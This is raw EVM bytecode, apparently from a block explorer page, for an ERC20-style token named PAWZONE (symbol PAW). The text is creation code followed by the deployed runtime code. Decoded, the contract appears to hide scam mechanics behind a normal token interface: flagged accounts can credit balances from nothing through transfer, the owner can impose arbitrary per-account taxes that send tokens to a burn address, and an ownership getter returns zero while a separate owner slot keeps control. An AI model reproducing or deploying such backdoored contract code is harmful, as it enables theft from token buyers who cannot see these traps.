00000000000000000081526004016109a690612140565b60405180910390fd5b8060088190555050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006109e96111af565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6f90612140565b60405180910390fd5b600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000610ac96111af565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4f90612140565b60405180910390fd5b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610bfd6111af565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8390612140565b60405180910390fd5b610c966000611aac565b565b610ca06111af565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2690612140565b60405180910390fd5b6000811015610d73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6a90612235565b60405180910390fd5b80600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b606060038054610dca906120c3565b80601f0160208091040260200160405190810160405280929190818152602001828054610df6906120c3565b8015610e435780601f10610e1857610100808354040283529160200191610e43565b820191906000526020600020905b815481529060010190602001808311610e2657829003601f168201915b5050505050905090565b600080610e586111af565b905060008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083811015610f1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f14906122c7565b60405180910390fd5b610f2a82868684036111b7565b60019250505092915050565b600080610f416111af565b905060011515600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503610ffb5782600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610fea919061218f565b92505081905550600191505061100c565b61100681858561140b565b60019150505b92915050565b600090565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6110a56111af565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611134576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112b90612140565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036111a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119a90612359565b60405180910390fd5b6111ac81611aac565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611226576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121d906123eb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611295576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128c9061247d565b60405180910390fd5b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516113729190611eec565b60405180910390a3505050565b600061138b8484611017565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461140557818110156113f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ee906124e9565b60405180910390fd5b61140484848484036111b7565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361147a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114719061257b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036114e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e09061260d565b60405180910390fd5b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611570576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115679061269f565b60405180910390fd5b6000600190506115808585611b72565b1561158a57600090505b600081156117555760008073ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116a057600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16036116445760085490505b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff160361169f5760095490505b5b6000600b60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561172b57600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b61175160646117438388611c1d90919063ffffffff16565b611c3390919063ffffffff16565b9150505b60008111156118f4576117b081600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c4990919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611847816005600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c5f90919063ffffffff16565b6005600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061dead73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118eb9190611eec565b60405180910390a35b611951818561190391906126bf565b600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c4990919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119f181856119a391906126bf565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c5f90919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8387611a8f91906126bf565b604051611a9c9190611eec565b60405180910390a3505050505050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c155750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b905092915050565b60008183611c2b91906126f3565b905092915050565b60008183611c419190612764565b905092915050565b60008183611c5791906126bf565b905092915050565b60008183611c6d919061218f565b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611caf578082015181840152602081019050611c94565b60008484015250505050565b6000601f19601f8301169050919050565b6000611cd782611c75565b611ce18185611c80565b9350611cf1818560208601611c91565b611cfa81611cbb565b840191505092915050565b60006020820190508181036000830152611d1f8184611ccc565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611d5782611d2c565b9050919050565b611d6781611d4c565b8114611d7257600080fd5b50565b600081359050611d8481611d5e565b92915050565b6000819050919050565b611d9d81611d8a565b8114611da857600080fd5b50565b600081359050611dba81611d94565b92915050565b60008060408385031215611dd757611dd6611d27565b5b6000611de585828601611d75565b9250506020611df685828601611dab565b9150509250929050565b60008115159050919050565b611e1581611e00565b82525050565b6000602082019050611e306000830184611e0c565b92915050565b600060208284031215611e4c57611e4b611d27565b5b6000611e5a84828501611d75565b91505092915050565b6000819050919050565b6000611e88611e83611e7e84611d2c565b611e63565b611d2c565b9050919050565b6000611e9a82611e6d565b9050919050565b6000611eac82611e8f565b9050919050565b611ebc81611ea1565b82525050565b6000602082019050611ed76000830184611eb3565b92915050565b611ee681611d8a565b82525050565b6000602082019050611f016000830184611edd565b92915050565b611f1081611e00565b8114611f1b57600080fd5b50565b600081359050611f2d81611f07565b92915050565b60008060408385031215611f4a57611f49611d27565b5b6000611f5885828601611d75565b9250506020611f6985828601611f1e565b9150509250929050565b600080600060608486031215611f8c57611f8b611d27565b5b6000611f9a86828701611d75565b9350506020611fab86828701611d75565b9250506040611fbc86828701611dab565b9150509250925092565b600060ff82169050919050565b611fdc81611fc6565b82525050565b6000602082019050611ff76000830184611fd3565b92915050565b60006020828403121561201357612012611d27565b5b600061202184828501611dab565b91505092915050565b61203381611d4c565b82525050565b600060208201905061204e600083018461202a565b92915050565b6000806040838503121561206b5761206a611d27565b5b600061207985828601611d75565b925050602061208a85828601611d75565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806120db57607f821691505b6020821081036120ee576120ed612094565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865204f776e6572600082015250565b600061212a602083611c80565b9150612135826120f4565b602082019050919050565b600060208201905081810360008301526121598161211d565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061219a82611d8a565b91506121a583611d8a565b92508282019050808211156121bd576121bc612160565b5b92915050565b7f4163636f756e7420746178206d7573742062652067726561746572207468616e60008201527f206f7220657175616c20746f2031000000000000000000000000000000000000602082015250565b600061221f602e83611c80565b915061222a826121c3565b604082019050919050565b6000602082019050818103600083015261224e81612212565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006122b1602583611c80565b91506122bc82612255565b604082019050919050565b600060208201905081810360008301526122e0816122a4565b9050919050565b7f4f776e61626c653a206e6577204f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612343602683611c80565b915061234e826122e7565b604082019050919050565b6000602082019050818103600083015261237281612336565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006123d5602483611c80565b91506123e082612379565b604082019050919050565b60006020820190508181036000830152612404816123c8565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612467602283611c80565b91506124728261240b565b604082019050919050565b600060208201905081810360008301526124968161245a565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b60006124d3601d83611c80565b91506124de8261249d565b602082019050919050565b60006020820190508181036000830152612502816124c6565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612565602583611c80565b915061257082612509565b604082019050919050565b6000602082019050818103600083015261259481612558565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006125f7602383611c80565b91506126028261259b565b604082019050919050565b60006020820190508181036000830152612626816125ea565b9050919050565b7f45524332303a207472616e7366657220416d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612689602683611c80565b91506126948261262d565b604082019050919050565b600060208201905081810360008301526126b88161267c565b9050919050565b60006126ca82611d8a565b91506126d583611d8a565b92508282039050818111156126ed576126ec612160565b5b92915050565b60006126fe82611d8a565b915061270983611d8a565b925082820261271781611d8a565b9150828204841483151761272e5761272d612160565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061276f82611d8a565b915061277a83611d8a565b92508261278a57612789612735565b5b82820490509291505056fea264697066735822122049f1318091c14af8518a6f92485b1303ce52b4bb4bff84f2e2e43eaf4b233d1464736f6c63430008120033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000003b9aca0000000000000000000000000000000000000000000000000000000000000000075041575a4f4e450000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000035041570000000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061014d5760003560e01c806349bd5a5e116100c357806395d89b411161007c57806395d89b41146103b2578063a457c2d7146103d0578063a9059cbb14610400578063b4a99a4e14610430578063dd62ed3e1461044e578063f2fde38b1461047e5761014d565b806349bd5a5e146102de5780635dd7c8ac146102fc5780636c9992b31461032c57806370a082311461035c578063715018a61461038c57806390ec57f1146103965761014d565b80631f478f1e116101155780631f478f1e1461020c57806323b872dd146102285780632c91d07114610258578063313ce5671461027457806339509351146102925780633de94b45146102c25761014d565b806306fdde0314610152578063095ea7b3146101705780630e5133b7146101a05780631694505e146101d057806318160ddd146101ee575b600080fd5b61015a61049a565b6040516101679190611d05565b60405180910390f35b61018a60048036038101906101859190611dc0565b61052c565b6040516101979190611e1b565b60405180910390f35b6101ba60048036038101906101b59190611e36565b61054f565b6040516101c79190611e1b565b60405180910390f35b6101d861063c565b6040516101e59190611ec2565b60405180910390f35b6101f6610660565b6040516102039190611eec565b60405180910390f35b61022660048036038101906102219190611f33565b61066a565b005b610242600480360381019061023d9190611f73565b61075c565b60405161024f9190611e1b565b60405180910390f35b610272600480360381019061026d9190611e36565b61078b565b005b61027c610866565b6040516102899190611fe2565b60405180910390f35b6102ac60048036038101906102a79190611dc0565b61086f565b6040516102b99190611e1b565b60405180910390f35b6102dc60048036038101906102d79190611ffd565b610918565b005b6102e66109b9565b6040516102f39190612039565b60405180910390f35b61031660048036038101906103119190611e36565b6109df565b6040516103239190611eec565b60405180910390f35b61034660048036038101906103419190611e36565b610abf565b6040516103539190611e1b565b60405180910390f35b61037660048036038101906103719190611e36565b610bac565b6040516103839190611eec565b60405180910390f35b610394610bf5565b005b6103b060048036038101906103ab9190611dc0565b610c98565b005b6103ba610dbb565b6040516103c79190611d05565b60405180910390f35b6103ea60048036038101906103e59190611dc0565b610e4d565b6040516103f79190611e1b565b60405180910390f35b61041a60048036038101906104159190611dc0565b610f36565b6040516104279190611e1b565b60405180910390f35b610438611012565b6040516104459190612039565b60405180910390f35b61046860048036038101906104639190612054565b611017565b6040516104759190611eec565b60405180910390f35b61049860048036038101906104939190611e36565b61109d565b005b6060600280546104a9906120c3565b80601f01602080910402602001604051908101604052809291908181526020018280546104d5906120c3565b80156105225780601f106104f757610100808354040283529160200191610522565b820191906000526020600020905b81548152906001019060200180831161050557829003601f168201915b5050505050905090565b6000806105376111af565b90506105448185856111b7565b600191505092915050565b60006105596111af565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105df90612140565b60405180910390fd5b600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000600154905090565b6106726111af565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610701576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106f890612140565b60405180910390fd5b80600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000806107676111af565b905061077485828561137f565b61077f85858561140b565b60019150509392505050565b6107936111af565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610822576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081990612140565b60405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006012905090565b60008061087a6111af565b905061090d8185856000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610908919061218f565b6111b7565b600191505092915050565b6109206111af565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a690612140565b60405180910390fd5b8060088190555050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006109e96111af565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6f90612140565b60405180910390fd5b600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000610ac96111af565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4f90612140565b60405180910390fd5b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610bfd6111af565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8390612140565b60405180910390fd5b610c966000611aac565b565b610ca06111af565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2690612140565b60405180910390fd5b6000811015610d73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6a90612235565b60405180910390fd5b80600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b606060038054610dca906120c3565b80601f0160208091040260200160405190810160405280929190818152602001828054610df6906120c3565b8015610e435780601f10610e1857610100808354040283529160200191610e43565b820191906000526020600020905b815481529060010190602001808311610e2657829003601f168201915b5050505050905090565b600080610e586111af565b905060008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083811015610f1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f14906122c7565b60405180910390fd5b610f2a82868684036111b7565b60019250505092915050565b600080610f416111af565b905060011515600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503610ffb5782600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610fea919061218f565b92505081905550600191505061100c565b61100681858561140b565b60019150505b92915050565b600090565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6110a56111af565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611134576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112b90612140565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036111a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119a90612359565b60405180910390fd5b6111ac81611aac565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611226576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121d906123eb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611295576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128c9061247d565b60405180910390fd5b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516113729190611eec565b60405180910390a3505050565b600061138b8484611017565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461140557818110156113f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ee906124e9565b60405180910390fd5b61140484848484036111b7565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361147a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114719061257b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036114e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e09061260d565b60405180910390fd5b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611570576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115679061269f565b60405180910390fd5b6000600190506115808585611b72565b1561158a57600090505b600081156117555760008073ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116a057600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16036116445760085490505b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff160361169f5760095490505b5b6000600b60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561172b57600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b61175160646117438388611c1d90919063ffffffff16565b611c3390919063ffffffff16565b9150505b60008111156118f4576117b081600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c4990919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611847816005600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c5f90919063ffffffff16565b6005600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061dead73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118eb9190611eec565b60405180910390a35b611951818561190391906126bf565b600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c4990919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119f181856119a391906126bf565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c5f90919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8387611a8f91906126bf565b604051611a9c9190611eec565b60405180910390a3505050505050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c155750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b905092915050565b60008183611c2b91906126f3565b905092915050565b60008183611c419190612764565b905092915050565b60008183611c5791906126bf565b905092915050565b60008183611c6d919061218f565b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611caf578082015181840152602081019050611c94565b60008484015250505050565b6000601f19601f8301169050919050565b6000611cd782611c75565b611ce18185611c80565b9350611cf1818560208601611c91565b611cfa81611cbb565b840191505092915050565b60006020820190508181036000830152611d1f8184611ccc565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611d5782611d2c565b9050919050565b611d6781611d4c565b8114611d7257600080fd5b50565b600081359050611d8481611d5e565b92915050565b6000819050919050565b611d9d81611d8a565b8114611da857600080fd5b50565b600081359050611dba81611d94565b92915050565b60008060408385031215611dd757611dd6611d27565b5b6000611de585828601611d75565b9250506020611df685828601611dab565b9150509250929050565b60008115159050919050565b611e1581611e00565b82525050565b6000602082019050611e306000830184611e0c565b92915050565b600060208284031215611e4c57611e4b611d27565b5b6000611e5a84828501611d75565b91505092915050565b6000819050919050565b6000611e88611e83611e7e84611d2c565b611e63565b611d2c565b9050919050565b6000611e9a82611e6d565b9050919050565b6000611eac82611e8f565b9050919050565b611ebc81611ea1565b82525050565b6000602082019050611ed76000830184611eb3565b92915050565b611ee681611d8a565b82525050565b6000602082019050611f016000830184611edd565b92915050565b611f1081611e00565b8114611f1b57600080fd5b50565b600081359050611f2d81611f07565b92915050565b60008060408385031215611f4a57611f49611d27565b5b6000611f5885828601611d75565b9250506020611f6985828601611f1e565b9150509250929050565b600080600060608486031215611f8c57611f8b611d27565b5b6000611f9a86828701611d75565b9350506020611fab86828701611d75565b9250506040611fbc86828701611dab565b9150509250925092565b600060ff82169050919050565b611fdc81611fc6565b82525050565b6000602082019050611ff76000830184611fd3565b92915050565b60006020828403121561201357612012611d27565b5b600061202184828501611dab565b91505092915050565b61203381611d4c565b82525050565b600060208201905061204e600083018461202a565b92915050565b6000806040838503121561206b5761206a611d27565b5b600061207985828601611d75565b925050602061208a85828601611d75565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806120db57607f821691505b6020821081036120ee576120ed612094565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865204f776e6572600082015250565b600061212a602083611c80565b9150612135826120f4565b602082019050919050565b600060208201905081810360008301526121598161211d565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061219a82611d8a565b91506121a583611d8a565b92508282019050808211156121bd576121bc612160565b5b92915050565b7f4163636f756e7420746178206d7573742062652067726561746572207468616e60008201527f206f7220657175616c20746f2031000000000000000000000000000000